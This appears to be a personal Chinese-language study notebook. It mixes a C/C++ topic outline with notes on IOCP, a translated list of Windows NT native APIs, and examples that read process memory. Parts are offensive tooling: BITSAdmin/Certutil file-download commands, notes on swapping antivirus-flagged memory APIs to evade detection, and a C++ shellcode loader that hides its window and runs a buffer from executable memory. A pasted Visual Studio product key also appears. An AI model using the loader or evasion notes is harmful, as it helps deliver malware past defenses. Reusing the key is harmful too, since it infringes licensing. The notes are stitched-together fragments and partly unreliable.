C++入门到入土知识手册
- openGL 图形
- 进程
- 框架
- 驱动开发
- windows核心编程
- C语言
- 数据类型
- 输入输出
- 运算符和表达式
- 流程控制
- 数组
- 函数
- C语言预处理
- 指针
- 复合数据类型
- C程序的组成
- winable.h
- _WIN32_WINNT
- __stdcall
- 开辟内存
- 创建线程
- C++ primer Plus
- 黑马
- C语言简介
- C语言入门helloworld
- CMD-Windows
- 数组、函数算法应用
- 嵌入式
-
-
-
- GPIO //通用型之输入输出的简称
- #pragma once
- #include
- afxtempl.h
- afxcmn.h
- themeutil.h
- #ifndef
- #define
- #endif
- tyedef
- stdafx.h
- stdafx.h并不是标准C++头文件,与项目的源代码文件存放在同一个文件文件夹下,通过#include"stdafx.h"引用。
- stdafx的英文全称为:Standard Application Framework Extensions(标准应用程序框架的扩展)
- GetWindowsDirectory // 用以获取Windows目录的完整路径名
- strtok() 函数 //声明char *strtok(char *str, const char *delim)
- wsprintf()将一系列的 字符 和数值输入到 缓冲区
- FindResource // 该函数确定指定模块中指定类型和名称的资源所在位置
- PID算法解析
- min函数 //最小值的函数 c++标准库头文件
- < algorithm> // 头文件
- iostream库
- constrain(x, a, b)
-
-
- 灰帽编程-端口扫描
- 黑客编程-初识
- QQ登录群发实现
- C++ 加载器
- C++概述
- C++ 对C的拓展
- 类和对象
-
- 类和对象的基本概念
- 类的定义
- 对象的实例化
- 成员变量和成员函数的访问
- 类成员的访问控制
- 面向过程和面向对象程序设计
- 习题讲解
- 类的分开实现
- 构造函数的引入
- 无参构造函数
- 有参构造函数
- 无参构造函数设计的注意事项
- 初始化成员列表的使用
- 构造函数总结
- 析构函数的用途
- new运算符的使用
- delete运算符的使用
- new delete和malloc free的区别
- 多个对象的构造和析构.
- 使用已构造的对象初始化新的对象
- 对象赋值的解决方法
- 拷贝构造函数的使用
- 拷贝构造函数的形参
- 深拷贝和浅拷贝
- 引用作为函数的形参
- 编译器对属性和方法的处理机制
- this指针
- 静态成员变量
- 静态成员函数
- C++ sting类简述
- 动态数组需求说明
- Array类的设计
- 继承
- 多态
- Mstring类=符号的重载
- 异常
- 强制类型转换
- 泛型编程
https://cocomelonc.github.io/malware/2023/10/20/malware-cryptography-21.html
1. BITSAdmin:用于管理后台智能传输服务(Background Intelligent Transfer Service,BITS)。
3. Certutil:用于管理和转换数字证书。
4. Netsh:用于管理网络接口和防火墙规则。
5. Wget:虽然不是 Windows Server 2008 内置的命令,但可以通过下载 GNU Wget for Windows 软件包来在 Windows Server 2008 中使用。
这些命令都可以在命令提示符下使用。例如,使用 BITSAdmin 命令下载文件:
BITSAdmin /transfer myDownloadJob /download /priority normal http://example.com/myfile.zip C:\Downloads\myfile.zip
https://www.baidu.com/link?url=T1ETjARTTho4cTHAgXogbZcxdFSgrjqLs36psTswI02S8zp4aOMXY7W2Xmm4F8m3qiL5BOou25toWoknTYKqe18x3qG9gf23Om7Wju4khZQMcqJ3VcZA_jIJGXPucBOA&wd=&eqid=fd46b11a000af06a00000004654af9b7
https://www.baidu.com/link?url=iAC3J23jO24MCdAawb7F_h_7_m3D_Xr88b7kT9RH1u0Lfa9bURHF3Z8mgPIU1SaTgIBzDdkoJ4z3so5oldqKw_&wd=&eqid=bed218e90008395800000004654af9f1
Windows 操作系统提供的一种高性能的 I/O 模型。它基于事件驱动机制,允许应用程序将 I/O 操作提交到一个 I/O 完成端口,操作系统会异步地处理这些 I/O 操作,并在操作完成后通知应用程序。使用 IOCP 模型,应用程序可以在单个线程上同时处理多个 I/O 操作,提高了应用程序的并发性和性能。
在 IOCP 模型中,应用程序向操作系统注册一个 I/O 完成端口,并将 I/O 操作(如读、写、接受等)提交到这个端口。操作系统会将这个 I/O 操作异步地派发到相应的设备驱动程序或网络协议栈中处理。当操作系统完成一个 I/O 操作后,会将结果通知到 I/O 完成端口上,应用程序可以通过一个事件(如 CompletionRoutine 回调函数)获得通知并处理 I/O 操作的结果。
IOCP 模型广泛应用于 Windows 平台的网络编程中,特别是高并发的服务器应用程序。它通过异步 I/O 操作,避免了应用程序在等待 I/O 执行完成时占用 CPU 时间,从而提高了处理能力和性能。
Socket 是传统的网络编程模型,一般采用同步阻塞的方式进行 I/O 操作。它的优势是编程简单,易于理解;而劣势则是并发性能较差,无法充分利用系统资源,尤其在高并发、高负载的场景下容易出现性能瓶颈或阻塞,影响服务器的响应能力和表现。此外,使用 Socket 还需要处理复杂的网络协议栈和线程同步、互斥等问题。
IOCP 则采用异步 I/O 完成端口模型,具有高并发、高性能、低延迟、低资源占用等优势。它能够实现单线程同时处理大量的客户端连接和并发请求,充分利用系统资源,避免阻塞和性能瓶颈问题。IOCP 还能够自适应负载,根据系统负载情况动态调整线程数和处理方式,保证系统稳定性和可用性。
综上所述,IOCP 比 Socket 更适用于高并发、高负载的服务器应用程序,但也需要更复杂的编程和调试。因此,选择 Socket 还是 IOCP 需要根据实际需求和技术水平进行选择。
openGL 图形
进程
框架
QT
MFC
驱动开发
windows核心编程
NT内核开发 NT API
NtLoadDriver 服务控制管理器加载设备驱动.
NtUnloadDriver 服务控制管理器支持卸载指定的驱动程序.
NtRegisterNewDevice 加载新驱动文件.
NtQueryIntervalProfile 返回数据.
NtSetIntervalProfile 指定采样间隔.
NtStartProfile 开始取样.
NtStopProfile 停止采样.
NtSystemDebugControl 实施了一系列的调试器支持的命令.
NtRegisterThreadTerminatePort 一个调试登记通知线程终止.
NtCreateDebugObject 创建一个调试对象.
NtDebugActiveProcess 使调试器附加到一个积极的过程和调试它.
NtDebugContinue 允许一个进程,以线程产生了调试事件.
NtQueryDebugFilterState 查询调试过滤国家一级的具体组成部分.
NtRemoveProcessDebug 停止调试指定的进程.
NtSetDebugFilterState 设置调试输出滤波器一级指定的组成部分.
NtSetInformationDebugObject 设置属性的调试对象.
NtWaitForDebugEvent 等待调试事件的进程正在调试.
NtFlushInstructionCache 清空指定进程的指令缓冲区.
NtInitiatePowerAction 启动电源事件.
NtPowerInformation 获得该系统的电源状态.
NtSetThreadExecutionState 设置一个线程的系统电源状态的要求.
NtRequestWakeupLatency 设置一个进程唤醒延迟.
NtClose 关闭处理任何对象类型.
NtDuplicateObject 复制句柄的对象.
NtCreateDirectoryObject 创建一个目录中的对象管理器命名空间.
NtCreateSymbolicLinkObject 创建一个符号链接的对象管理器命名空间.
NtOpenDirectoryObject 打开对象管理器名字空间目录.
NtQueryDirectoryObject 用列举的对象位于一个目录对象.
NtOpenSymbolicLinkObject 打开一个符号链接对象.
NtQuerySymbolicLinkObject 归来的名称,对象,符号链接点.
NtQueryObject 查询对象的属性,如它的名字.
NtSetInformationObject 树立了一个对象的属性.
NtTranslateFilePath 转换的文件路径的格式.
NtCreateKey 创建或打开一个注册表项.
NtOpenKey 打开一个现有的注册表项.
NtDeleteKey 删除注册表项.
NtDeleteValueKey 删除价值.
NtEnumerateKey 枚举子项中的一个关键.
NtEnumerateValueKey 列举了价值的一个关键.
NtFlushKey 刷新变化回到注册表在磁盘上.
NtInitializeRegistry 获取注册滚动.单参数对这一规定是否安装启动或正常开机.
NtNotifyChangeKey 允许一个程序的通知改变某一关键或其子项.
NtQueryKey 查询信息的一个关键.
NtQueryMultiplValueKey 检索信息多个指定值.
NtQueryValueKey 资讯检索指定的值.
NtReplaceKey 变化的支持文件的一个关键和其子项,用于备份/恢复.
NtSaveKey 保存的内容中的一个关键和子项文件.
NtRestoreKey 装载的内容主要从一个指定的文件.
NtSetInformationKey 集属性中的一个关键.
NtSetValueKey 集相关的数据的价值.
NtCreatePort 创建一个港口对象.
NtAcceptConnectPort 接受一个端口连接.
NtCompleteConnectPort 完成了连接.
NtConnectPort 连接一个端口到另一个端口,接受连接.
NtImpersonateClientOfPort 线程模拟确定的进程的另一端的一个港口.
NtListenPort 侦听端口的连接请求.
NtQueryInformationPort 获取信息的一个港口.
NtReadRequestData 阅读相关资料港口信息.
NtReplyPort 发送一个回复邮件.
NtReplyWaitReceivePort 发送一个回复邮件,然后等待传入请求消息.
NtReplyWaitReplyPort 发送一个回复邮件,然后等待传入的回复邮件.
NtRequestPort 发送请求信息.
NtRequestWaitReplyPort 发送请求信息,并等待传入的回复邮件.
NtWriteRequestData 填写数据的请求消息.
NtSecureConnectPort 创建一个安全的连接端口.
NtQueryPortInformationProcess 用于确定某个进程有相关的例外或调试端口.
NtAccessCheck 检查当前线程是否已进入一个对象根据其安全描述符.
NtAccessCheckAndAuditAlarm 生成相关的审计信息存取检查.
NtAdjustGroupsToken 加注或删除群体与象征.
NtAdjustPrivilegesToken 启用或禁用特权与象征.
NtCloseObjectAuditAlarm 生成审计讯息,指出一个对象被关闭了.
NtCreateToken 创建令牌对象.
NtDeleteObjectAuditAlarm 产生了审计事件表明,一个对象已删除.
NtDuplicateToken 重复象征对象.
NtImpersonateThread 允许一个线程假冒身份的其他用户.
NtOpenObjectAuditAlarm 产生了审计事件表明,一个物体开幕.
NtOpenProcessToken 获得句柄令牌在指定的进程.
NtOpenThreadToken 打开的句柄令牌在指定线程.
NtPrivilegeCheck 检查,以查看是否有人员令牌已指定特权启用.
NtPrivilegeObjectAuditAlarm 生成审核事件记录与特权检查.
NtPrivilegedServiceAuditAlarm 生成审计信息表明尝试使用指定的特权.
NtQueryInformationToken 获取信息的象征.
NtQuerySecurityObject 检索信息的对象的安全设置.
NtSetInformationToken 树立了一个象征性的属性.
NtSetSecurityObject 设置安全信息的一个对象.
NtAccessCheckByType 新的物件具体的安全支持.
NtAccessCheckByTypeAndAuditAlarm 新的物件具体的安全支持.
NtAccessCheckByTypeResultList 新的物件具体的安全支持.
NtFilterToken 新的物件具体的安全支持.
NtCompareToken 比较了两个令牌.
NtOpenProcessTokenEx 打开一个进程令牌.
NtOpenThreadTokenEx 打开一个线程令牌.
NtAlertResumeThread 恢复线程.
NtAlertThread 发出警报,以一个线程.
NtTestAlert 检验是否有线程在等待警报.
NtCreateProcess 创建一个新的进程.
NtCreateThread 创建一个新线程.
NtCurrentTeb 返回一个指针,一个线程环境块.
NtDelayExecution 睡眠,暂停一个线程在指定的时间.
NtGetContextThread 检索硬件方面的线程.
NtSetContextThread 集硬件方面的线程.
NtOpenProcess 打开的句柄指定的进程.
NtOpenThread 打开的句柄指定的线程.
NtQueryInformationProcess 获取一个线程的属性.
NtQueueApcThread 程序呼叫到一个线程.
NtResumeThread 唤醒暂停线程.
NtSetInformationProcess 设置一个进程的属性.
NtSetInformationThread 设置一个线程的属性.
NtSuspendThread 暂停一个线程的执行.
NtTerminateProcess 删除进程.
NtTerminateThread 删除线程.
NtYieldExecution 原因线程放弃CPU.
NtCreateProcessEx 创建一个新的进程.
NtResumeProcess 恢复被暂停的进程.
NtSuspendProcess 暂停一个进程.
NtCancelTimer 取消计时器.
NtCreateTimer 创建一个计时器.
NtOpenTimer 打开一个计时器对象.
NtQueryTimer 查询计时器的属性.
NtQueryTimerResolution 查询系统的计时器决议.
NtSetTimer 设置一个定时器到期活动.
NtSetTimerResolution 设定系统计时器决议.
NtQueryPerformanceCounter 查询系统的性能计数器.
NtQuerySystemTime 取得当前时间.
NtSetSystemTime 设置系统时间.
NtGetTickCount 获取系统开机以来时间.
NtCreateEvent 创建一个事件对象.
NtOpenEvent 打开事件对象.
NtClearEvent 清除标志着国家的事件.
NtPulseEvent 信号的事件,然后重置它.
NtQueryEvent 查询状况的一个事件.
NtResetEvent 重置事件向非标志着国家.
NtSetEvent 树立了一个活动,标志着国家.
NtCreateEventPair 创建一个事件一双.
NtOpenEventPair 打开一个事件对.
NtSetHighEventPair 集高一半的活动,以表明对国家.
NtSetHighWaitLowEventPair 集高一半的活动,以表明对国家和等待低一半,成为示意.
NtSetLowEventPair 集低一半的事件对.
NtSetLowWaitHighEventPair 集低一半的事件,并等待对高一半将成为标志.
NtWaitHighEventPair 等待高一半事件对成为暗示.
NtWaitLowEventPair 等待低一半事件对成为暗示.
NtCreateMutant 创建一个突变的对象,称为互斥在用户模式.
NtOpenMutant 打开一个突变对象,称为互斥用户模式.
NtCreateSemaphore 创建一个信号灯对象.
NtOpenSemaphore 打开一个信号灯对象.
NtQuerySemaphore 查询状态的信号.
NtReleaseSemaphore 标志着信号灯.
NtSignalAndWaitForSingleObject 等待它标志着一次.
NtWaitForMultipleObjects 等待多个对象,成为暗示.
NtWaitForSingleObject 等待一个单一的对象,成为暗示.
NtCreateKeyedEvent 创建一个输入事件对象.
NtOpenKeyedEvent 打开一个名为键控事件对象.
NtReleaseKeyedEvent 标志着键控事件对象.
NtWaitForKeyedEvent 等待事件成为键控信号.
NtAllocateVirtualMemory 分配虚拟内存.
NtFreeVirtualMemory 释放虚拟内存.
NtQueryVirtualMemory 查询范围的虚拟内存的属性.
NtProtectVirtualMemory 集保护的一系列虚拟内存.
NtLockVirtualMemory 锁一系列的虚拟内存.
NtUnlockVirtualMemory 解锁一系列的虚拟内存.
NtReadVirtualMemory 读取范围内的虚拟内存从进程.
NtWriteVirtualMemory 写了一系列的虚拟内存从进程.
NtFlushVirtualMemory 刷新记忆体映射的记忆体范围的文件在磁盘上.
NtCreateSection 创建了一系列的内存支持文件.
NtOpenSection 打开一个名为内存映射节对象.
NtExtendSection 延长现有的各种虚拟内存支持文件.
NtMapViewOfSection 地图一个文件中的虚拟内存.
NtUnmapViewOfSection 一部分虚拟内存的支持文件.
NtAreMappedFilesTheSame 装载机使用这一有效看看是否一个给定的文件已经被映射到内存中.
NtCancelIoFile 取消I/O请求.
NtCreateFile 创建或打开一个文件,目录或设备对象.
NtCreateIoCompletion 告诉I/O管理器,一个线程希望时得到通知的I/O完成.
NtOpenIoCompletion 打开一个名为I/O完成对象.
NtSetIoCompletion 树立了一个I/O完成对象的属性.
NtQueryIoCompletion 具体信息检索的I/O完成对象.
NtRemoveIoCompletion 消除了一个I/O完成回调.
NtDeleteFile 删除一个文件对象.
NtDeviceIoControlFile 发送IOCTL装置的设备驱动,这是一个打开的文件对象.
NtFlushBuffersFile 清除内存中的文件数据到磁盘.
NtFsControlFile 发送一个I/O控制IOCTL为代表的公开设备对象.通常用于文件系统有关的特别命令.
NtLockFile 锁了一系列文件的同步访问.
NtUnlockFile 解锁了一系列文件的同步访问.
NtNotifyChangeDirectoryFile 寄存器一个线程希望得到通知时,一个目录的内容发生变化.
NtOpenFile 打开一个现有的文件.
NtQueryAttributesFile 取得一个文件的属性.
NtQueryDirectoryFile 检索目录的内容.
NtQueryEaFile 检索文件的扩展属性.
NtSetEaFile 集的扩展属性文件.
NtQueryFullAttributesFile 获得文件的全部属性.
NtQueryInformationFile 检索方面的具体资料的档案.
NtSetInformationFile 确定具体的资料档案.
NtQueryVolumeInformationFile 检索有关特定磁盘卷.
NtSetVolumeInformationFile 集资讯量.
NtReadFile 读取数据文件.
NtWriteFile 写入数据文件.
NtQueryQuotaInformationFile 查询NTFS磁盘配额信息.
NtSetQuotaInformationFile 设置NTFS磁盘配额信息.
NtQuerySystemInformation 性能计数器注册表中的出口的大量信息可通过这一呼吁.
NtSetSystemInformation 各种行政程序使用此功能.
NtShutdownSystem 关闭与选择重新启动.
NtCreateJobObject 创建一个作业对象.
NtOpenJobObject 打开一个作业对象.
NtQueryInformationJobObject 撷取资讯作业对象.
NtAssignProcessToJobObject 指定一个进程作业对象.
NtSetInformationJobObject 树立了一个作业对象的属性.
NtTerminateJobObject 终止作业对象,终止其所有相关的进程.
NtCreateJobSet 创建了一个集多种就业工作的对象.
Windows内核回调函数
CmRegisterCallback
CmRegisterCallbackEx 注册表回调
ExRegisterCallback
ObRegisterCallbacks
PsSetCreateProcessNotifyRoutine
PsSetCreateProcessNotifyRoutineEx
PsSetCreateProcessNotifyRoutineEx2
PsSetCreateThreadNotifyRoutine
PsSetCreateThreadNotifyRoutineEx
PsSetLoadImageNotifyRoutine
http://www.pnpon.com/article/detail-114.html
WMI
Native API
你可以使用 ctypes 模块来加载 ntdll.dll 并调用其中的函数,例如:
import ctypes
ntdll = ctypes.windll.ntdll
ntdll.NtOpenFile(...)
复制
你也可以使用 subprocess 模块来运行一个 exe 程序,然后接收它的输出2,例如:
import subprocess
result = subprocess.check_output(['cos_exe.exe', '45'])
复制
另外,你还可以使用 Cython 来生成并调用 pyd 文件,这是一个更高效和方便的方法2,例如:
# hello.pyx
def say_hello(name):
print(f"Hello {name}!")
# setup.py
from distutils.core import setup
from Cython.Build import cythonize
setup(
ext_modules = cythonize("hello.pyx")
)
# build and import
python setup.py build_ext --inplace
import hello
hello.say_hello("Bing")
https://developer.aliyun.com/article/1160810
shellcode加载分为3步:申请内存->shellcode写入内存(-> 修改内存属性)->执行该内存
但是我们常用的函数,已经被一些杀软标记查杀
ctypes.windll.kernel32.VirtualAlloc
ctypes.windll.kernel32.RtlMoveMemory
ctypes.windll.kernel32.CreateThread
AllocADsMem:
https://docs.microsoft.com/en-us/windows/win32/api/adshlp/nf-adshlp-allocadsmem
ReallocADsMem
https://docs.microsoft.com/en-us/windows/win32/api/adshlp/nf-adshlp-reallocadsmem
bypassAV 2023 ctypes.windll.ntdll
windows api 是用来分配和重新分配内存的。
AllocADsMem 函数分配指定大小的内存块1,
ReallocADsMem 函数重新分配并复制现有内存块23。
这些函数是 Active Directory Service Interfaces (ADSI) 的一部分,用于与目录服务进行交互。
VirtualAllocExNuma:用于在指定的 NUMA 节点上为指定进程的虚拟地址空间中的区域保留,提交或更改内存状态。
VirtualProtect:用于更改当前进程的虚拟地址空间中的内存区域的保护属性。
VirtualProtectEx:用于更改指定进程的虚拟地址空间中的内存区域的保护属性。
ReadProcessMemory:用于从指定进程的虚拟地址空间中读取数据。
WriteProcessMemory1:用于向指定进程的虚拟地址空间中写入数据。
FlushInstructionCache:用于刷新指定进程的指令缓存。
CreateRemoteThread:用于在另一个进程的虚拟地址空间中创建一个线程。
CreateRemoteThreadEx:用于在另一个进程的虚拟地址空间中创建一个线程,并指定扩展属性。
NtQueryInformationProcess函数
通过ProcessInformationClass参数可以查找进程的不同信息,包括PEB信息、WOW64信息、子系统信息、imageFileName映像文件名信息等。
NTSYSCALLAPI
NTSTATUS
NTAPI
NtQueryInformationProcess(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
ProcessHandle:进程句柄
ProcessInformationClass:需要检索的进程信息类型,具体参数类型,见本节结尾“进程信息类型表”。
如果第二个参数是ProcessBasicInformation的话,则第三个参数必须为一个指针指向结构PROCESS_BASIC_INFORMATION:
ProcessInformation: 缓冲指针,保存进程信息,大小取决于进程信息类型。
ProcessInformationLength:以字节为单位的缓冲大小
ReturnLength:实际写入到缓冲的字节数
返回值:
返回一个NTSTATUS成功或错误代码
附录
进程信息类型表
值 含义
ProcessBasicInformation 0 返回PEB结构指针,检索判断特定进程是否正在被调试
ProcessDebugPort 7 返回DWORD指针,检索获得当前进程的调试端口号
ProcessWow64Information 26 判断进程是否运行在WOW64环境(WOW64指基于Win32的程序运行在x64系统上)
ProcessImageFileName 27 返回Unicode字符串,包含进程的映像文件名
ProcessBreakOnTermination 29 返回ULONG值, 判断是否这个进程被认为是重要进程的。(一般系统级别的exe都是重要进程)
ProcessSubsystemInformation 75 返回SUBSYSTEM_INFORMATION_TYPE,指出进程的子系统类型。
当ProcessInformationClass为ProcessBasicInformation时:
缓冲区指针 应该指向 _PROCESS_BASIC_INFORMATION
typedef struct
{
DWORD ExitStatus; // 接收进程终止状态
DWORD PebBaseAddress; // 接收PEB进程环境块地址
DWORD AffinityMask; // 接收进程关联掩码
DWORD BasePriority; // 接收进程的优先级类
ULONG UniqueProcessId; // 接收进程ID
ULONG InheritedFromUniqueProcessId; //接收父进程ID
} PROCESS_BASIC_INFORMATION;
示例:从PEB32获得进程路径
/**
*
* 获得PEB的进程路径
*
*/
#include <phnt_windows.h>
#include <phnt.h>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
BOOL GetProcessFullPathByProcessID(ULONG32 ProcessID, WCHAR* BufferData, ULONG BufferLegnth) {
HANDLE ProcessHandle = NULL;
ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessID);
if (ProcessHandle == NULL) {
return FALSE;
}
PROCESS_BASIC_INFORMATION pbi = { 0 };
SIZE_T ReturnLength = 0;
NTSTATUS status = NtQueryInformationProcess(ProcessHandle, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION),
(PULONG)&ReturnLength);
if (!NT_SUCCESS(status)) {
CloseHandle(ProcessHandle);
ProcessHandle = NULL;
return FALSE;
}
PEB Peb = { 0 };
status = NtReadVirtualMemory(ProcessHandle, pbi.PebBaseAddress, &Peb, sizeof(PEB32), (SIZE_T*)&ReturnLength);
if (!NT_SUCCESS(status)) {
CloseHandle(ProcessHandle);
ProcessHandle = NULL;
return FALSE;
}
RTL_USER_PROCESS_PARAMETERS RtlUserProcessParameters = { 0 };
status = NtReadVirtualMemory(ProcessHandle, Peb.ProcessParameters, &RtlUserProcessParameters,
sizeof(RTL_USER_PROCESS_PARAMETERS), (SIZE_T*)&ReturnLength);
if (!NT_SUCCESS(status)) {
CloseHandle(ProcessHandle);
ProcessHandle = NULL;
return FALSE;
}
if (RtlUserProcessParameters.ImagePathName.Buffer != NULL)
{
ULONG v1 = 0;
if (RtlUserProcessParameters.ImagePathName.Length < BufferLegnth)
{
v1 = RtlUserProcessParameters.ImagePathName.Length;
}
else
{
v1 = BufferLegnth - 10;
}
status = ReadProcessMemory(ProcessHandle, RtlUserProcessParameters.ImagePathName.Buffer,
BufferData, v1, (SIZE_T*)&ReturnLength);
if (!NT_SUCCESS(status))
{
CloseHandle(ProcessHandle);
ProcessHandle = NULL;
return FALSE;
}
}
CloseHandle(ProcessHandle);
return TRUE;
}
int main() {
BOOL bOk = FALSE;
ULONG32 ProcessID = 0;
WCHAR BufferData[MAX_PATH] = { 0 };
//定义完整路径数组,
//windows规定存放完整路径的数组最大为260个字节;
printf("Input Process ID\r\n");
scanf_s("%d", &ProcessID);
bOk = GetProcessFullPathByProcessID(ProcessID, BufferData, MAX_PATH);
//用自定义函数实现从进程ID得到进程完整路径的过程(进程ID,完整路径(存放的数组名),数组长度)
std::cout << bOk << std::endl;
if (bOk == TRUE)
{
printf("%S\r\n", BufferData);
//BufferData双字,故用大S输出字符串;
}
system("pause");
return 0;
}
NtSetInformationProcess函数
设置指定进程的信息
BOOL SetProcessInformation(
[in] HANDLE hProcess,
[in] PROCESS_INFORMATION_CLASS ProcessInformationClass,
LPVOID ProcessInformation,
[in] DWORD ProcessInformationSize
);
https://blog.csdn.net/dongyewolong/article/details/8182055
示例:使进程跳过DEP检测 关闭DEP
ZwCreateThreadEx函数
NtQueryVirtualMemory
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntqueryvirtualmemory
https://blog.csdn.net/OtishionO/article/details/8521634
查询指定进程的某个虚拟地址控件所在的内存对象的一些信息。
NTSTATUS NTAPI NtQueryVirtualMemory(
IN HANDLE ProcessHandle, //目标进程句柄
IN PVOID BaseAddress, //目标内存地址
IN MEMORY_INFORMATION_CLASS MemoryInformationClass, //查询内存信息的类别
OUT PVOID Buffer, //用于存储获取到的内存信息的结构地址
IN ULONG Length, //Buffer的最大长度
OUT PULONG ResultLength OPTIONAL); //存储该函数处理返回的信息的长度的ULONG的地址
);
第一个参数是目标进程的句柄;
第二个参数是要查询的内存地址;
第四个参数是根据第三个参数选用不同的结构去接收内存信息的地址。
第五个和第六个参数为Buffer长度,和函数处理结果返回的长度。
第三个参数是MEMORY_INFORMATION_CLASS 表示需要获取内存的信息的类型
类型有以下几种:
//MEMORY_INFORMATION_CLASS定义
typedef enum _MEMORY_INFORMATION_CLASS
{
MemoryBasicInformation, //内存基本信息
MemoryWorkingSetInformation, //工作集信息
MemoryMappedFilenameInformation //内存映射文件名信息
} MEMORY_INFORMATION_CLASS;
MemoryBasicInformation
内存基本信息
typedef struct _MEMORY_BASIC_INFORMATION {
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
SIZE_T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
https://github.com/SLAUC91/DLLFinder/blob/master/DLLFinder/Process.cpp
MemoryWorkingSetInformation
工作集信息
typedef struct _MEMORY_WORKING_SET_INFORMATION {
ULONG SizeOfWorkingSet;
DWORD WsEntries[ANYSIZE_ARRAY];
} MEMORY_WORKING_SET_INFORMATION, *PMEMORY_WORKING_SET_INFORMATION;
MemoryMappedFilenameInformation
内存映射文件名信息
#define _MAX_OBJECT_NAME 1024/sizeof(WCHAR)
typedef struct _MEMORY_MAPPED_FILE_NAME_INFORMATION {
UNICODE_STRING Name;
WCHAR Buffer[_MAX_OBJECT_NAME];
} MEMORY_MAPPED_FILE_NAME_INFORMATION, *PMEMORY_MAPPED_FILE_NAME_INFORMATION;
示例:获取进程映像文件名
示例:查询内存保护模式类型 PAGE_EXECUTE_READWRITE
int main() {
DWORD dwProcessId = 33700;
HANDLE hProcess;
NTSTATUS status = PhNtOpenProcess(&hProcess,
PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ, dwProcessId);
if (!NT_SUCCESS(status)) {
status = PhNtOpenProcess(&hProcess,
PROCESS_QUERY_INFORMATION, dwProcessId);
if (!NT_SUCCESS(status))
return -1;
}
void* pBaseAddres = NULL;
MEMORY_BASIC_INFORMATION basicInfo;
while (NT_SUCCESS(NtQueryVirtualMemory(
hProcess, pBaseAddres, MemoryBasicInformation, &basicInfo,
sizeof(MEMORY_BASIC_INFORMATION), NULL))) {
ULONG dwState = basicInfo.State;
DWORD protectStatus = basicInfo.Protect;
if (protectStatus == PAGE_EXECUTE_READWRITE) {
printf("memery PAGE_EXECUTE_READWRITE exist! \n");
break;
}
pBaseAddres = PTR_ADD_OFFSET(pBaseAddres, basicInfo.RegionSize);
}
return 0;
}
NtReadVirtualMemory
函数原型
读取进程内存内容
NTSTATUS
NtReadVirtualMemory (
IN HANDLE ProcessHandle,//进程句柄
IN PVOID BaseAddress,//基地址
OUT PVOID Buffer,//输出的内容
IN SIZE_T BufferSize,//输出大小
OUT PSIZE_T NumberOfBytesRead OPTIONAL//读取字节数
)
简单用法
int main() {
int adrnum = 0;
DWORD dwPid = 26392;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwPid);
NtReadVirtualMemory(hProcess, (PVOID)0x90000, (LPVOID)&adrnum, 4, 0);
CloseHandle(hProcess);
printf("%d\n", adrnum);
system("pause");
return 0;
}
NtQuerySystemInformation
查询到特定的系统信息
NTSYSCALLAPI
NTSTATUS
NTAPI
NtQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
第一个参数 SystemInformationClass: 所要查询的系统信息的类型
第二个参数 SystemInformation:输出的系统信息内容的指针
第三个参数 SystemInformationLength:接受长度
第四个参数 ReturnLength:实际返回长度
https://learn.microsoft.com/zh-cn/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
查询系统基本信息
SYSTEM_BASIC_INFORMATION systemBasicInformation = {};
NTSTATUS status = NtQuerySystemInformation(
SystemBasicInformation, &systemBasicInformation, sizeof(SYSTEM_BASIC_INFORMATION), NULL);
NtQueryInformationThread
检索指定的线程信息。
函数原型
NTSYSCALLAPI
NTSTATUS
NTAPI
NtQueryInformationThread(
_In_ HANDLE ThreadHandle,//线程句柄
_In_ THREADINFOCLASS ThreadInformationClass, //查询线程信息的类型
_Out_writes_bytes_(ThreadInformationLength) PVOID ThreadInformation, //接受线程信息的指针
_In_ ULONG ThreadInformationLength,//线程信息长度
_Out_opt_ PULONG ReturnLength//返回长度
);
示例:获得线程起始地址
#include <phnt_windows.h>
#include <phnt.h>
#include <stdio.h>
int main()
{
DWORD dwThreadId = GetCurrentThreadId();
HANDLE hThread = NULL;
hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, dwThreadId);
if (!hThread)
{
return -1;
}
DWORD dwStaAddr = NULL;
DWORD dwReturnLength = 0;
NTSTATUS status = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress,
&dwStaAddr, sizeof(dwStaAddr), &dwReturnLength);
if (!NT_SUCCESS(status))
{
return -1;
}
printf("0x%p", dwStaAddr);
return 0;
}
通过线程获得进程ID
THREAD_BASIC_INFORMATION threadBasicInfo;
NtQueryInformationThread(hThread, ThreadBasicInformation, &threadBasicInfo, sizeof(threadBasicInfo), &dwReturnLength);
printf("processId:%d", threadBasicInfo.ClientId.UniqueProcess);
NTAPI:泛指ntdll.dll模块不对外提供的API接口,大多是提供给内核层开发人员使用的。
一般通过动态载入库的方式(LoadLibrary + GetProcAddress)调用
主要使用phlib库作为调用NTAPI的库
Kernel32.dll
OpenProcess 函数
用来打开一个已存在的进程对象,并返回进程的句柄。
C/C++:
加载器
shellcode生成框架
VirtualAlloc申请内存
Visual Studio 2019 Enterprise
BF8Y8-GN2QH-T84XB-QVY3B-RC4DF
控制台项目
#include <windows.h>
#include <iostream>
#include <time.h>
#pragma comment (lib, "winmm.lib")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void startShellCode()
{
unsigned char buf[] = "";
void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof(buf));
((void(*)())exec)();
}
void main() {
startShellCode();
}
#include <windows.h>
#include <stdio.h>
